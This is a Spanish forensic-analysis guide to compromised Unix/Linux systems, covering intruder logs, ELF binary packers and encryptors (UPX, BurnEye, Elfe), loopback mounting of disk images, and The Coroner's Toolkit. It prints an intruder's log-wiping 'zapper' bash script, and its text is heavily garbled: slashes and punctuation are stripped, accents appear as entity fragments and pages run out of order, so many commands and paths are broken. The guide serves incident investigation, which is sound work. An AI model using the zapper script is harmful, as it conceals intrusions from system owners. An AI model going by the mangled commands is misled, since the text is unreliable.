Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 28: Análisis Forense de Sistemas GNU/Linux, Unix

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

